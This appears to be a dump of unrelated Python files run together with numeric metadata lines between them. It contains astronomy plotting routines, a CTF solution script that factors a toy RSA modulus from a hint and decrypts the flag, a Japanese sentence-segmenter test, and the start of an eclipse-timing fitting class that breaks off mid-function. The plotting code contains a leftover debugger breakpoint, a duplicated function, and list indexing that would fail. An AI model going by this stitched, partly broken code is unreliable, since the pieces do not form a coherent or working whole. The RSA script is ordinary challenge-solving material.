ax.scatter(seps[detected[:,wv_index]],flux_ratios[:,wv_index][detected[:,wv_index]],marker='o', label="Detected",c=masses[detected[:,wv_index]],cmap='gist_heat',edgecolors='k',norm=colors.LogNorm(vmin=1,vmax=1000)) fig.colorbar(scat,label=r"Planet Mass [$M_{\oplus}$]",ax=ax) #Plot 1 and 2 lambda/d ax.plot([instrument.current_wvs[wv_index]*1e-6/telescope.diameter*206265,instrument.current_wvs[wv_index]*1e-6/telescope.diameter*206265], [0,1.],label=r"$\lambda/D$ at $\lambda=${:.3f}$\mu m$".format(instrument.current_wvs[wv_index]),color='k') ax.plot([2*instrument.current_wvs[wv_index]*1e-6/telescope.diameter*206265,2*instrument.current_wvs[wv_index]*1e-6/telescope.diameter*206265], [0,1.],'-.',label=r"$2\lambda/D$ at $\lambda=${:.3f}$\mu m$".format(instrument.current_wvs[wv_index]),color='k') #If detection_limits is passed, then plot the 5-sigma detection limits for each source if alt_data is not None: ax.scatter(seps,alt_data[:,wv_index],marker='.', label=alt_label,color='darkviolet',s=20) for i,sep in enumerate(seps): ax.plot([sep,sep],[flux_ratios[i,wv_index],alt_data[i,wv_index]],color='k',alpha=0.1,linewidth=1) #Axis title ax.set_title("Planet Detection Yield at {:.3}um".format(instrument.current_wvs[wv_index]),fontsize=18) #Legend legend = ax.legend(loc='upper right',fontsize=13) legend.legendHandles[-1].set_color('orangered') legend.legendHandles[-1].set_edgecolor('k') #Plot setup ax.set_ylabel("Total Intensity Flux Ratio",fontsize=16) ax.set_xlabel("Separation ['']",fontsize=16) # ax.set_xlim(xmin,xmax) ax.set_ylim(ymin,ymax) ax.set_yscale('log') ax.set_xscale('log') #Do we show it? if show: plt.show() plt.tight_layout() #Do we save it? if save: plt.savefig("Detected_Planets_flux_v_sma.png",bbox_inches="tight") #Return the figure so that the user can manipulate it more if they so please return fig,ax def plot_detected_planet_magnitudes(planet_table,wv_index,detected,flux_ratios,instrument,telescope, show=True,save=False,ymin=1,ymax=30,xmin=0.,xmax=1.,alt_data=None,alt_label=""): ''' Make a plot of the planets detected at a given wavelenth_index Inputs: planet_table - a Universe.planets table wv_index - the index from the instrument.current_wvs wavelength array to consider detected - a boolean array of shape [n_planets,n_wvs] that indicates whether or not a planet was detected at a given wavelength flux_ratios - an array of flux ratios between the planet and the star at the given wavelength. sape [n_planets,n_wvs] instuemnt - an instance of the psisim.instrument class telescope - an instance of the psisim.telescope class Keyword Arguments: show - do you want to show the plot? Boolean save - do you want to save the plot? Boolean ymin,ymax,xmin,xmax - the limits on the plot alt_data - An optional argument to pass to show a secondary set of data. This could be e.g. detection limits, or another set of atmospheric models alt_label - This sets the legend label for the alt_data ''' fig,ax = plt.subplots(1,1,figsize=(7,5)) #convert flux ratios to delta_mags dMags = -2.5*np.log10(flux_ratios[:,wv_index]) band = instrument.current_filter if band == 'R': bexlabel = 'CousinsR' starlabel = 'StarRmag' elif band == 'I': bexlabel = 'CousinsI' starlabel = 'StarImag' elif band == 'J': bexlabel = 'SPHEREJ' starlabel = 'StarJmag' elif band == 'H': bexlabel = 'SPHEREH' starlabel = 'StarHmag' elif band == 'K': bexlabel = 'SPHEREKs' starlabel = 'StarKmag' elif band == 'L': bexlabel = 'NACOLp' starlabel = 'StarKmag' elif band == 'M': bexlabel = 'NACOMp' starlabel = 'StarKmag' else: raise ValueError("Band needs to be 'R', 'I', 'J', 'H', 'K', 'L', 'M'. Got {0}.".format(band)) stellar_mags = planet_table[starlabel] stellar_mags = np.array(stellar_mags) planet_mag = stellar_mags+dMags # import pdb;pdb.set_trace() seps = np.array([planet_table_entry['AngSep'].to(u.arcsec).value for planet_table_entry in planet_table]) # import pdb; pdb.set_trace() #Plot the non-detections ax.scatter(seps[~detected[:,wv_index]],planet_mag[:][~detected[:,wv_index]], marker='.',label="Full Sample",s=20) # print(seps[~detected[:,wv_index]],flux_ratios[:,wv_index][~detected[:,wv_index]]) masses = np.array([planet_table_entry['PlanetMass'].to(u.earthMass).value for planet_table_entry in planet_table]) # import pdb; pdb.set_trace() # import pdb; pdb.set_trace() #Plot the detections scat = ax.scatter(seps[detected[:,wv_index]],planet_mag[:][detected[:,wv_index]],marker='o', label="Detected",c=masses[detected[:,wv_index]],cmap='gist_heat',edgecolors='k',norm=colors.LogNorm(vmin=1,vmax=1000)) fig.colorbar(scat,label=r"Planet Mass [$M_{\oplus}$]",ax=ax) import pdb; pdb.set_trace() #Plot 1 and 2 lambda/d ax.axvline(instrument.current_wvs[wv_index]*1e-6/telescope.diameter*206265,color='k',) ax.axvline(2*instrument.current_wvs[wv_index]*1e-6/telescope.diameter*206265,color='k',linestyle='--') ax.axhline(18.7+0.4,color='r',linestyle='-.',label="") #If detection_limits is passed, then plot the 5-sigma detection limits for each source if alt_data is not None: ax.scatter(seps,alt_data[:,wv_index],marker='.', label=alt_label,color='darkviolet',s=20) for i,sep in enumerate(seps): ax.plot([sep,sep],[flux_ratios[i,wv_index],alt_data[i,wv_index]],color='k',alpha=0.1,linewidth=1) #Axis title ax.set_title("Planet Detection Yield at {:.3}um".format(instrument.current_wvs[wv_index]),fontsize=18) #Legend legend = ax.legend(loc='upper right',fontsize=13) legend.legendHandles[-1].set_color('orangered') legend.legendHandles[-1].set_edgecolor('k') #Plot setup ax.set_ylabel(r"Planet Magnitude at {:.1f}$\mu m$".format(instrument.current_wvs[wv_index]),fontsize=16) ax.set_xlabel("Separation ['']",fontsize=16) # ax.set_xlim(xmin,xmax) ax.set_ylim(ymin,ymax) # ax.set_yscale('log') ax.set_xscale('log') #Do we show it? if show: plt.show() plt.tight_layout() #Do we save it? if save: plt.savefig("Detected_Planets_flux_v_sma.png",bbox_inches="tight") #Return the figure so that the user can manipulate it more if they so please return fig,ax def plot_detected_planet_mass(planet_table,detected,show=True,**kwargs): ''' Plot a histogram of detected and non-detected planets ''' masses = [planet_table_entry['PlanetMass'].to(u.earthMass).value for planet_table_entry in planet_table] fig = plt.figure(figsize=(7,4)) ax1 = fig.add_subplot(111) ax1.hist(masses[~detected],label="Non-Detections",density=True,**kwargs) ax1.hist(masses[detected],label="Detections",density=True,**kwargs) ax1.set_xlabel(r"Planet Masses [M$_{Earth}$]") ax1.set_ylabel(r"Number of Planets") ax1.set_xscale("log") def plot_detected_planet_mass(planet_table,detected,show=True,**kwargs): ''' Plot a histogram of detected and non-detected planets ''' masses = [planet_table_entry['PlanetMass'].to(u.earthMass) for planet_table_entry in planet_table] fig = plt.figure(figsize=(7,4)) ax1 = fig.add_subplot(111) ax1.hist(masses[~detected],label="Non-Detections",density=True,**kwargs) ax1.hist(masses[detected],label="Detections",density=True,**kwargs) ax1.set_xlabel(r"Planet Masses [M$_{Earth}$]") ax1.set_ylabel(r"Number of Planets") ax1.set_xscale("log")

39.992278

146

0.652249

1,484

10,358

4.41442

0.17655

0.042742

0.032056

0.036941

0.880629

0.877576

0.874523

0.869028

0.863532

0

0.019978

0.217127

10,358

258

147

40.147287

0.78789

0.328056

0

0.567797

0

0.008475

0.129903

0.009247

0

1

0.042373

false

0.008475

0.033898

0

0.09322

0

null

0

1

0

null

0

6

0693fd8a01b440c548bf2536b77d01d3b95da158

3,406

py

Python

2021_2022/Training_4/HintedRSA/solution.py

0awawa0/DonNU_CTF

7ff693fdba4609298f5556ea583fe604980d76e3

[ "MIT" ]

null

2021_2022/Training_4/HintedRSA/solution.py

0awawa0/DonNU_CTF

7ff693fdba4609298f5556ea583fe604980d76e3

[ "MIT" ]

null

2021_2022/Training_4/HintedRSA/solution.py

0awawa0/DonNU_CTF

7ff693fdba4609298f5556ea583fe604980d76e3

[ "MIT" ]

null

from Crypto.Util.number import * import math e = 0x10001 n = 961445943888840215288522754445026510743473076689337403144333879593463986904364838586170835699906384781631370662475639324609992342202744355850521358342756784958571627256586576603747473312986793639711869303614648034309510362586032534553676611139684528340669137800132095540828987059037945826668054627229536701654799350190693339345773272684185950853726035582289056182952711528893421846450008777325825518751410357496204404638124992850696705297926925942843156249125267571732411616928549217068784261779096096116285770653408770412816712664990337620697198329515736340588923502218943033737818780630916504373625971629585365099608419665523139870152782000960802873800617483602090708260029548201486307388077222745140335031113084587060514626869798229561867450052261444604341286267726161542875461565719051806401057802593637597871730432878746248940478326738376188681495157789160173198368548918389993423034042982000430406946619608859317825006843594886289551548098171546894532838002331869549223361863251792070063165159443859273559193728045568032323867575542466285105706485187340015247513937186233153535342456246038871755650644332881502204306341873138389443855475270030618258630527202615235441291881951077160520297481033188742900514275391432363246564953 hint = 641167744111181547085698318848049827218611202952975380836404920734648147042569164578845679054520345179725998820497569101734143784972214855548118863772149865409322883301737334313506194806480286558215119628369186685004818260884436933579797143628928614089383326340995583270805705607705019753787859390550257106618572999144788422058693888990601688282495798350816569373743430401624935468867426546771066454036148566866193789737078102003829249471031847499913147940534322480431303615774271140856898567171939734089675322666015183135935549042775562209968532773537346411500071882711882681619923686098566531960758728136626351473 c = 394829496153226615079106845467776028366140295342347876510040454366361044598513881356450574623503480681255015968436969691951393558048412880463905121742431156051565692937669727273900950066509540982565422053463968010457097616902036770236581183869679426210320540792395066217390317300709663531949422444177368146146490400165500157782436434933232777495959326597493059454967527212485176581857254955923786937274115250081553847466264173157144568090315577326717838927510944185666938055684082409086247191917904923872982647814928313365157444331282503927018395361965287602364461132931608856111284092368985337210080787574611707884767727233786809687914173554665342434128666744768281530778129813443424112316349497034849892546233762211320003738980010791628941095440130956466412986267244043634258014478584920306306760563851795725646316495957472124535287163443297948654638053816084809517981349651550833453213804078846493192519304479047589197564446335434607426688649741459861332554359842892770299199242653988650692814695370219260616932781666464355751249300729614798286334219273128642356612262798872107993509667710065537291251345498592539451641320735486139103181843064733191243637002061733376567254295975945106413969502225896685709871388884681785343334722 t = math.isqrt((hint - 1) ** 2 + 4 * n) p1 = (hint - 1 + t) // 2 p2 = (hint - 1 - t) // 2 p = 0 if p1 < 0: p = p2 else: p = p1 q = n // p assert p * q == n f = (p - 1) * (q - 1) d = pow(e, -1, f) flag = pow(c, d, n) print(long_to_bytes(flag))

131

1,237

0.951262

70

3,406

46.257143

0.5

0.004632

0.003706

0.004324

0

0.938615

0.029066

3,406

26

1,238

131

0.04052

0

1

0.002055

0

0.05

1

0

false

0

0.1

0

0.1

0.05

0

1

null

0

1

0

1

0

null

1

0

6

23002fc988959e7c3403bed99ad88400b09bf097

173

py

Python

src/drem/download/download.py

oisindoherty3/drem

478fe4e72fd38628f4ddc3745c16efe75ee98e4d

[ "MIT" ]

4

2020-07-21T12:18:53.000Z

2020-11-19T12:30:56.000Z

src/drem/download/download.py

oisindoherty3/drem

478fe4e72fd38628f4ddc3745c16efe75ee98e4d

[ "MIT" ]

101

2020-08-20T16:29:44.000Z

2021-01-13T12:41:53.000Z

src/drem/download/download.py

oisindoherty3/drem

478fe4e72fd38628f4ddc3745c16efe75ee98e4d

[ "MIT" ]

5

2020-07-31T11:51:30.000Z

2020-10-14T10:25:39.000Z

# flake8: noqa from drem.download.ber_publicsearch import DownloadBERPublicsearch as BERPublicsearch from drem.download.vo import DownloadValuationOffice as ValuationOffice

43.25

85

0.878613

19

173

7.947368

0.736842

0.10596

0.211921

0

0.006329

0.086705

173

3

86

57.666667

0.949367

0.069364

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

1

0

6

2308f83fc0c3a0f50b7d057911070c231db43a9c

5,981

py

Python

tests/common/test_pipeline.py

wwwcojp/ja_sentence_segmenter

282661a059bbed3daecda6487462a4715501e832

[ "MIT" ]

43

2019-12-15T23:40:17.000Z

2022-03-01T11:46:01.000Z

tests/common/test_pipeline.py

wwwcojp/ja_sentence_segmenter

282661a059bbed3daecda6487462a4715501e832

[ "MIT" ]

1

2019-12-31T01:41:12.000Z

2020-02-22T16:13:04.000Z

tests/common/test_pipeline.py

wwwcojp/ja_sentence_segmenter

282661a059bbed3daecda6487462a4715501e832

[ "MIT" ]

1

2022-02-25T13:22:23.000Z

"""PragmaticSegmenterと同等の処理が可能かチェック. 参考：https://github.com/diasks2/pragmatic_segmenter/blob/master/spec/pragmatic_segmenter/languages/japanese_spec.rb """ import functools import pytest from ja_sentence_segmenter.common.pipeline import make_pipeline from ja_sentence_segmenter.concatenate.simple_concatenator import concatenate_matching from ja_sentence_segmenter.normalize.neologd_normalizer import normalize from ja_sentence_segmenter.split.simple_splitter import split_newline, split_punctuation def test_pipeline() -> None: split_punc2 = functools.partial(split_punctuation, punctuations=r"。!?") concat_tail_no = functools.partial(concatenate_matching, former_matching_rule=r"^(?P<result>.+)(の)$", remove_former_matched=False) segmenter = make_pipeline(normalize, split_newline, concat_tail_no, split_punc2) # Golden Rule: Simple period to end sentence #001 text1 = "これはペンです。それはマーカーです。" assert list(segmenter(text1)) == ["これはペンです。", "それはマーカーです。"] # Golden Rule: Question mark to end sentence #002 text2 = "それは何ですか？ペンですか？" assert list(segmenter(text2)) == ["それは何ですか?", "ペンですか?"] # Golden Rule: Exclamation point to end sentence #003 text3 = "良かったね！すごい！" assert list(segmenter(text3)) == ["良かったね!", "すごい!"] # Golden Rule: Quotation #004 text4 = "自民党税制調査会の幹部は、「引き下げ幅は３．２９％以上を目指すことになる」と指摘していて、今後、公明党と合意したうえで、３０日に決定する与党税制改正大綱に盛り込むことにしています。２％台後半を目指すとする方向で最終調整に入りました。" assert list(segmenter(text4)) == [ "自民党税制調査会の幹部は、「引き下げ幅は3.29%以上を目指すことになる」と指摘していて、今後、公明党と合意したうえで、30日に決定する与党税制改正大綱に盛り込むことにしています。", "2%台後半を目指すとする方向で最終調整に入りました。", ] # Golden Rule: Errant newlines in the middle of sentences #005 text5 = "これは父の\n家です。" assert list(segmenter(text5)) == ["これは父の家です。"] # segment: correctly segments text #001 text6 = "これは山です \nこれは山です \nこれは山です（「これは山です」） \nこれは山です（これは山です「これは山です」）これは山です・これは山です、これは山です。 \nこれは山です（これは山です。これは山です）。これは山です、これは山です、これは山です、これは山です（これは山です。これは山です）これは山です、これは山です、これは山です「これは山です」これは山です（これは山です：0円）これは山です。 \n1.）これは山です、これは山です（これは山です、これは山です6円（※1））これは山です。 \n※1　これは山です。 \n2.）これは山です、これは山です、これは山です、これは山です。 \n3.）これは山です、これは山です・これは山です、これは山です、これは山です、これは山です（これは山です「これは山です」）これは山です、これは山です、これは山です、これは山です。 \n4.）これは山です、これは山です（これは山です、これは山です、これは山です。これは山です）これは山です、これは山です（これは山です、これは山です）。 \nこれは山です、これは山です、これは山です、これは山です、これは山です（者）これは山です。 \n(1) 「これは山です」（これは山です：0円）　（※1） \n① これは山です" assert list(segmenter(text6)) == [ "これは山です", "これは山です", "これは山です(「これは山です」)", "これは山です(これは山です「これは山です」)これは山です・これは山です、これは山です。", "これは山です(これは山です。これは山です)。", "これは山です、これは山です、これは山です、これは山です(これは山です。これは山です)これは山です、これは山です、これは山です「これは山です」これは山です(これは山です:0円)これは山です。", "1.)これは山です、これは山です(これは山です、これは山です6円(※1))これは山です。", "※1これは山です。", "2.)これは山です、これは山です、これは山です、これは山です。", "3.)これは山です、これは山です・これは山です、これは山です、これは山です、これは山です(これは山です「これは山です」)これは山です、これは山です、これは山です、これは山です。", "4.)これは山です、これは山です(これは山です、これは山です、これは山です。これは山です)これは山です、これは山です(これは山です、これは山です)。", "これは山です、これは山です、これは山です、これは山です、これは山です(者)これは山です。", "(1)「これは山です」(これは山です:0円)(※1)", "① これは山です", ] # segment: correctly segments text #002 text7 = "フフーの\n主たる債務" assert list(segmenter(text7)) == ["フフーの主たる債務"] # segment: correctly segments text #003 # Pragmatic Segmenterはピリオドの扱いをかなり頑張っているので、対応できませんでした・・・ # text8 = "これは山です \nこれは山です \nこれは山です（「これは山です」） \nこれは山です（これは山です「これは山です」）これは山です・これは山です、これは山です． \nこれは山です（これは山です．これは山です）．これは山です、これは山です、これは山です、これは山です（これは山です．これは山です）これは山です、これは山です、これは山です「これは山です」これは山です（これは山です：0円）これは山です． \n1.）これは山です、これは山です（これは山です、これは山です6円（※1））これは山です． \n※1　これは山です． \n2.）これは山です、これは山です、これは山です、これは山です． \n3.）これは山です、これは山です・これは山です、これは山です、これは山です、これは山です（これは山です「これは山です」）これは山です、これは山です、これは山です、これは山です． \n4.）これは山です、これは山です（これは山です、これは山です、これは山です．これは山です）これは山です、これは山です（これは山です、これは山です）． \nこれは山です、これは山です、これは山です、これは山です、これは山です（者）これは山です． \n(1) 「これは山です」（これは山です：0円）　（※1） \n① これは山です" # assert list(segmenter(text8)) == [ # "これは山です", # "これは山です", # "これは山です(「これは山です」)", # "これは山です(これは山です「これは山です」)これは山です・これは山です、これは山です.", # "これは山です(これは山です.これは山です).", # "これは山です、これは山です、これは山です、これは山です(これは山です.これは山です)これは山です、これは山です、これは山です「これは山です」これは山です(これは山です:0円)これは山です.", # "1.)これは山です、これは山です(これは山です、これは山です6円(※1))これは山です.", # "※1これは山です.", # "2.)これは山です、これは山です、これは山です、これは山です.", # "3.)これは山です、これは山です・これは山です、これは山です、これは山です、これは山です(これは山です「これは山です」)これは山です、これは山です、これは山です、これは山です.", # "4.)これは山です、これは山です(これは山です、これは山です、これは山です.これは山です)これは山です、これは山です(これは山です、これは山です).", # "これは山です、これは山です、これは山です、これは山です、これは山です(者)これは山です.", # "(1)「これは山です」(これは山です:0円)(※1)", # "① これは山です", # ] # segment: correctly segments text #004 text9 = "これは山です \nこれは山です \nこれは山です（「これは山です」） \nこれは山です（これは山です「これは山です」）これは山です・これは山です、これは山です！ \nこれは山です（これは山です！これは山です）！これは山です、これは山です、これは山です、これは山です（これは山です！これは山です）これは山です、これは山です、これは山です「これは山です」これは山です（これは山です：0円）これは山です！ \n1.）これは山です、これは山です（これは山です、これは山です6円（※1））これは山です！ \n※1　これは山です！ \n2.）これは山です、これは山です、これは山です、これは山です！ \n3.）これは山です、これは山です・これは山です、これは山です、これは山です、これは山です（これは山です「これは山です」）これは山です、これは山です、これは山です、これは山です！ \n4.）これは山です、これは山です（これは山です、これは山です、これは山です！これは山です）これは山です、これは山です（これは山です、これは山です）！ \nこれは山です、これは山です、これは山です、これは山です、これは山です（者）これは山です！ \n(1) 「これは山です」（これは山です：0円）　（※1） \n① これは山です" assert list(segmenter(text9)) == [ "これは山です", "これは山です", "これは山です(「これは山です」)", "これは山です(これは山です「これは山です」)これは山です・これは山です、これは山です!", "これは山です(これは山です!これは山です)!", "これは山です、これは山です、これは山です、これは山です(これは山です!これは山です)これは山です、これは山です、これは山です「これは山です」これは山です(これは山です:0円)これは山です!", "1.)これは山です、これは山です(これは山です、これは山です6円(※1))これは山です!", "※1これは山です!", "2.)これは山です、これは山です、これは山です、これは山です!", "3.)これは山です、これは山です・これは山です、これは山です、これは山です、これは山です(これは山です「これは山です」)これは山です、これは山です、これは山です、これは山です!", "4.)これは山です、これは山です(これは山です、これは山です、これは山です!これは山です)これは山です、これは山です(これは山です、これは山です)!", "これは山です、これは山です、これは山です、これは山です、これは山です(者)これは山です!", "(1)「これは山です」(これは山です:0円)(※1)", "① これは山です", ]

56.424528

566

0.69888

754

5,981

5.543767

0.171088

0.835407

1.020574

1.136842

0.695455

0

0.025492

0.134258

5,981

105

567

56.961905

0.775396

0.301622

0

0.169492

0

0.135593

0.604595

0.501088

0

0.135593

1

0.016949

false

0

0.101695

0

0.118644

0

null

1

0

1

0

1

null

0

6

2335df1c8a4c83d214e26d98a18fb495f1c55a1e

194

py

Python

engine/omega_engine/core/utils/camera/__init__.py

jadsonlucio/Opengl-CG-Project

47b50bf93b8d3a1ccef1f41f22ed3327d9496b8c

[ "MIT" ]

null

engine/omega_engine/core/utils/camera/__init__.py

jadsonlucio/Opengl-CG-Project

47b50bf93b8d3a1ccef1f41f22ed3327d9496b8c

[ "MIT" ]

3

2021-06-08T20:54:18.000Z

2022-03-12T00:13:46.000Z

engine/omega_engine/core/utils/camera/__init__.py

jadsonlucio/Opengl-CG-Project

47b50bf93b8d3a1ccef1f41f22ed3327d9496b8c

[ "MIT" ]

null

from .camera import Camera from .camera_3rd_person import Camera3RDPerson from .camera_airplane import CameraAirPlane from .camera_viewup import ViewUpCamera from .multi_camera import MultCamera

38.8

46

0.876289

25

194

6.6

0.48

0.242424

0

0.011429

0.097938

194

5

47

38.8

0.931429

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

2379f636e97f2f8941b5bc550928dd9f4a81fc33

54

py

Python

src/jsdtools/dot/__init__.py

gulan/jsdtools

1707f7c1571dcde6eac456caadb625f691a16bba

[ "0BSD" ]

null

src/jsdtools/dot/__init__.py

gulan/jsdtools

1707f7c1571dcde6eac456caadb625f691a16bba

[ "0BSD" ]

4

2018-09-04T14:40:24.000Z

2018-09-04T19:36:27.000Z

src/jsdtools/dot/__init__.py

gulan/jsdtools

1707f7c1571dcde6eac456caadb625f691a16bba

[ "0BSD" ]

null

#!python from .render import (print_one, print_many)

13.5

43

0.759259

8

54

4.875

0.875

0

0.12963

54

3

44

18

0.829787

0.12963

0

1

0

true

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

0013ff889501f1a2bd5ba07d6c8de316de350bc2

117,441

py

Python

py2/OCFit/OC_class.py

pavolgaj/OCF

8df25bf69f63e4b4385ed5554c458b1da4281823

[ "MIT" ]

3

2017-11-23T10:21:03.000Z

2019-05-29T16:18:13.000Z

py2/OCFit/OC_class.py

pavolgaj/OCF

8df25bf69f63e4b4385ed5554c458b1da4281823

[ "MIT" ]

7

2018-12-05T08:21:37.000Z

2021-06-21T16:07:46.000Z

py2/OCFit/OC_class.py

pavolgaj/OCF

8df25bf69f63e4b4385ed5554c458b1da4281823

[ "MIT" ]

3

2019-02-18T12:32:26.000Z

2021-12-01T14:06:54.000Z

# -*- coding: utf-8 -*- #main classes of OCFit package #version 0.1.6 #update: 7.10.2021 # (c) Pavol Gajdos, 2018-2021 from time import time import sys import os import threading import warnings import pickle #import matplotlib try: import matplotlib.pyplot as mpl fig=mpl.figure() mpl.close(fig) except: #import on server without graphic output try: mpl.switch_backend('Agg') except: import matplotlib matplotlib.reload(matplotlib) matplotlib.use('Agg',force=True) import matplotlib.pyplot as mpl from matplotlib import gridspec mpl.style.use('classic') import numpy as np try: import pymc except: warnings.warn('Module pymc not found! Using FitMC will not be possible!') from .ga import TPopul from .info_ga import InfoGA as InfoGAClass from .info_mc import InfoMC as InfoMCClass #some constants AU=149597870700 #astronomical unit in meters c=299792458 #velocity of light in meters per second day=86400. #number of seconds in day minutes=1440. #number of minutes in day def GetMax(x,n): '''return n max values in array x''' temp=[] x=np.array(x) for i in range(n): temp.append(np.argmax(x)) x[temp[-1]]=0 return np.array(temp) class SimpleFit(): '''class with common function for FitLinear and FitQuad''' def __init__(self,t,t0,P,oc=None,err=None): '''input: observed time, time of zeros epoch, period, (O-C values, errors)''' self.t=np.array(t) #times #linear ephemeris of binary self.P=P self.t0=t0 self._t0P=[t0,P] #given linear ephemeris of binary if oc is None: #calculate O-C self.Epoch() tC=t0+P*self.epoch self.oc=self.t-tC else: self.oc=np.array(oc) if err is None: #errors not given self.err=np.ones(self.t.shape) self._set_err=False else: #errors given self.err=np.array(err) self._set_err=True self._corr_err=False self._calc_err=False self._old_err=[] #sorting data... self._order=np.argsort(self.t) self.t=self.t[self._order] #times self.oc=self.oc[self._order] #O-Cs self.err=self.err[self._order] #errors self.Epoch() self.params={} #values of parameters self.params_err={} #errors of fitted parameters self.model=[] #model O-C self.new_oc=[] #new O-C (residue) self.chi=0 self._robust=False self._mcmc=False self.tC=[] def Epoch(self): '''calculate epoch''' self.epoch=np.round((self.t-self.t0)/self.P*2)/2. return self.epoch def PhaseCurve(self,P,t0,plot=False): '''create phase curve''' f=np.mod(self.t-t0,P)/float(P) #phase order=np.argsort(f) f=f[order] oc=self.oc[order] if plot: mpl.figure() if self._set_err: mpl.errorbar(f,oc,yerr=self.err,fmt='o') else: mpl.plot(f,oc,'.') return f,oc def Summary(self,name=None): '''parameters summary, writting to file "name"''' params=self.params.keys() units={'t0':'JD','P':'d','Q':'d'} text=['parameter'.ljust(15,' ')+'unit'.ljust(10,' ')+'value'.ljust(30,' ')+'error'] for p in sorted(params): text.append(p.ljust(15,' ')+units[p].ljust(10,' ')+str(self.params[p]).ljust(30,' ') +str(self.params_err[p]).ljust(20,' ')) text.append('') if self._robust: text.append('Fitting method: Robust regression') elif self._mcmc: text.append('Fitting method: MCMC') else: text.append('Fitting method: Standard regression') g=len(params) n=len(self.t) text.append('chi2 = '+str(self.chi)) if n-g>0: text.append('chi2_r = '+str(self.chi/(n-g))) else: text.append('chi2_r = NA') text.append('AIC = '+str(self.chi+2*g)) if n-g-1>0: text.append('AICc = '+str(self.chi+2*g*n/(n-g-1))) else: text.append('AICc = NA') text.append('BIC = '+str(self.chi+g*np.log(n))) if name is None: print '------------------------------------' for t in text: print t print '------------------------------------' else: f=open(name,'w') for t in text: f.write(t+'\n') f.close() def InfoMCMC(self,db,eps=False,geweke=False): '''statistics about GA fitting''' info=InfoMCClass(db) info.AllParams(eps) for p in info.pars: info.OneParam(p,eps) if geweke: info.Geweke(eps) def CalcErr(self): '''calculate errors according to current model''' n=len(self.model) err=np.sqrt(sum((self.oc-self.model)**2)/(n*(n-1))) errors=err*np.ones(self.model.shape)*np.sqrt(n-len(self.params)) chi=sum(((self.oc-self.model)/errors)**2) print 'New chi2:',chi,chi/(n-len(self.params)) self._calc_err=True self._set_err=False self.err=errors return errors def CorrectErr(self): '''scaling errors according to current model''' n=len(self.model) chi0=sum(((self.oc-self.model)/self.err)**2) alfa=chi0/(n-2) err=self.err*np.sqrt(alfa) chi=sum(((self.oc-self.model)/err)**2) print 'New chi2:',chi,chi/(n-len(self.params)) if self._set_err and len(self._old_err)==0: self._old_err=self.err self.err=err self._corr_err=True return err def AddWeight(self,weight): '''adding weight to data + scaling according to current model warning: weights have to be in same order as input date! ''' if not len(weight)==len(self.t): print 'incorrect length of "w"!' return weight=np.array(weight)[self._order] err=1./weight n=len(self.t) chi0=sum(((self.oc-self.model)/err)**2) alfa=chi0/(n-len(self.params)) err*=np.sqrt(alfa) chi=sum(((self.oc-self.model)/err)**2) print 'New chi2:',chi,chi/(n-len(self.params)) self._calc_err=True self._set_err=False self.err=err return err def SaveOC(self,name,weight=None): '''saving O-C calculated from given ephemeris to file name - name of file weight - weight of data warning: weights have to be in same order as input date! ''' f=open(name,'w') if weight is not None: np.savetxt(f,np.column_stack((self.t,self.epoch,self.oc,np.array(weight)[self._order])), fmt=["%14.7f",'%10.3f',"%+12.10f","%.10f"],delimiter=" ", header='Time'.ljust(14,' ')+' '+'Epoch'.ljust(10,' ') +' '+'O-C'.ljust(12,' ')+' '+'Weight') elif self._set_err: if self._corr_err: err=self._old_err else: err=self.err np.savetxt(f,np.column_stack((self.t,self.epoch,self.oc,err)), fmt=["%14.7f",'%10.3f',"%+12.10f","%.10f"],delimiter=" ", header='Time'.ljust(14,' ')+' '+'Epoch'.ljust(10,' ') +' '+'O-C'.ljust(12,' ')+' '+'Error') else: np.savetxt(f,np.column_stack((self.t,self.epoch,self.oc)), fmt=["%14.7f",'%10.3f',"%+12.10f"],delimiter=" ", header='Time'.ljust(14,' ')+' '+'Epoch'.ljust(10,' ') +' '+'O-C') f.close() def SaveRes(self,name,weight=None): '''saving residue (new O-C) to file name - name of file weight - weight of data warning: weights have to be in same order as input date! ''' f=open(name,'w') if self._set_err: if self._corr_err: err=self._old_err else: err=self.err np.savetxt(f,np.column_stack((self.t,self.epoch,self.new_oc,err)), fmt=["%14.7f",'%10.3f',"%+12.10f","%.10f"],delimiter=" ", header='Time'.ljust(14,' ')+' '+'Epoch'.ljust(10,' ') +' '+'new O-C'.ljust(12,' ')+' Error') elif weight is not None: np.savetxt(f,np.column_stack((self.t,self.epoch,self.new_oc,np.array(weight)[self._order])), fmt=["%14.7f",'%10.3f',"%+12.10f","%.10f"],delimiter=" ", header='Time'.ljust(14,' ')+' '+'Epoch'.ljust(10,' ') +' '+'new O-C'.ljust(12,' ')+' Weight') else: np.savetxt(f,np.column_stack((self.t,self.epoch,self.new_oc)), fmt=["%14.7f",'%10.3f',"%+12.10f"],delimiter=" ", header='Time'.ljust(14,' ')+' '+'Epoch'.ljust(10,' ') +' new O-C') f.close() def PlotRes(self,name=None,no_plot=0,no_plot_err=0,eps=False,oc_min=True, time_type='JD',offset=2400000,trans=True,title=None,epoch=False, min_type=False,weight=None,trans_weight=False,bw=False,double_ax=False, fig_size=None): '''plotting residue (new O-C) name - name of file to saving plot (if not given -> show graph) no_plot - count of outlier point which will not be plot no_plot_err - count of errorful point which will not be plot eps - save also as eps file oc_min - O-C in minutes (if False - days) time_type - type of JD in which is time (show in x label) offset - offset of time trans - transform time according to offset title - name of graph epoch - x axis in epoch min_type - distinction of type of minimum weight - weight of data (shown as size of points) trans_weight - transform weights to range (1,10) bw - Black&White plot double_ax - two axes -> time and epoch fig_size - custom figure size - e.g. (12,6) warning: weights have to be in same order as input data! ''' if fig_size: fig=mpl.figure(figsize=fig_size) else: fig=mpl.figure() ax1=fig.add_subplot(111) #setting labels if epoch and not double_ax: ax1.set_xlabel('Epoch') x=self.epoch elif offset>0: ax1.set_xlabel('Time ('+time_type+' - '+str(offset)+')') if not trans: offset=0 x=self.t-offset else: ax1.set_xlabel('Time ('+time_type+')') offset=0 x=self.t if oc_min: ax1.set_ylabel('Residue O - C (min)') k=minutes else: ax1.set_ylabel('Residue O - C (d)') k=1 if title is not None: if double_ax: fig.subplots_adjust(top=0.85) fig.suptitle(title,fontsize=20) #primary / secondary minimum if min_type: prim=np.where(np.round(self.epoch)==self.epoch) sec=np.where(np.round(self.epoch)<>self.epoch) else: prim=np.arange(0,len(self.epoch),1) sec=np.array([]) #set weight set_w=False if weight is not None: 